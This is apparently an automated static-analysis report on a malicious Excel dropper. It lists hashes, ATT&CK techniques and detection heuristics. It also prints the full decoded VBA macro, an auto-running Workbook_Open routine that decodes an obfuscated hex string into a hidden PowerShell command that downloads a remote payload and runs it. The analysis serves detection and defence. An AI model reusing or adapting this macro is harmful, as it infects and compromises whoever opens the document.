Xls.Dropper.Agent-9045836-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 5143f152bfa6523c…

MALICIOUS

Office (OLE)

60.0 KB Created: 2020-07-21 23:45:25 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 3a2f24b32b1cf7a53f63505daf4870c5 SHA-1: 33056b2aae2bad24789d8f69005e59a8b13dd554 SHA-256: 5143f152bfa6523c1bc4065f79cc8978ee22f309d67a0b583afb477b0a5f539c
222 Risk Score

Malware Insights

Xls.Dropper.Agent-9045836-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an Excel file containing a Workbook_Open VBA macro that utilizes the Shell() function to execute a payload. The macro decodes a hexadecimal string, which is then passed to Shell(), indicating it's designed to download and execute a second-stage payload. The ClamAV signature further confirms its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Xls.Dropper.Agent-9045836-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-9045836-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1489 bytes
SHA-256: e01d7545fce641fbf9bf0499ab4770df133958898d1aeced6687d5bd6cda5474
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public Sub Workbook_Open()
Dim asd As String
asd = hello("6E786F2B3A6E2B7B7A82707D7E73707777397083702B387083706E807F747A797B7A77746E842B6D847B6C7E7E2B38622B53746F6F70792B386E7A78786C796F2B33797082387A6D75706E7F2B5E847E7F70783959707F3962706D4E777470797F34394F7A8279777A6C6F517477703332737F7F7B453A3A6E7D7A727F7D7F396E7A783A443A44403C3C3E424339757B7232372F707981455F70787B363267596C78703970837032344633597082385A6D75706E7F2B386E7A782B5E73707777394C7B7B77746E6C7F747A7934395E737077775083706E807F70332F707981455F70787B363267596C7870397083703234")
Shell asd
End Sub
  Function hello(hlole As String)
        Dim holle As Integer
        Dim i As Integer
        Dim holel
        holle = 11111
        holel = ""
        For i = 1 To Len(hlole) Step 2
            holel = holel + Chr(CLng("&H" & Mid(hlole, i, 2)) - 11)
        Next
        hello = holel
    End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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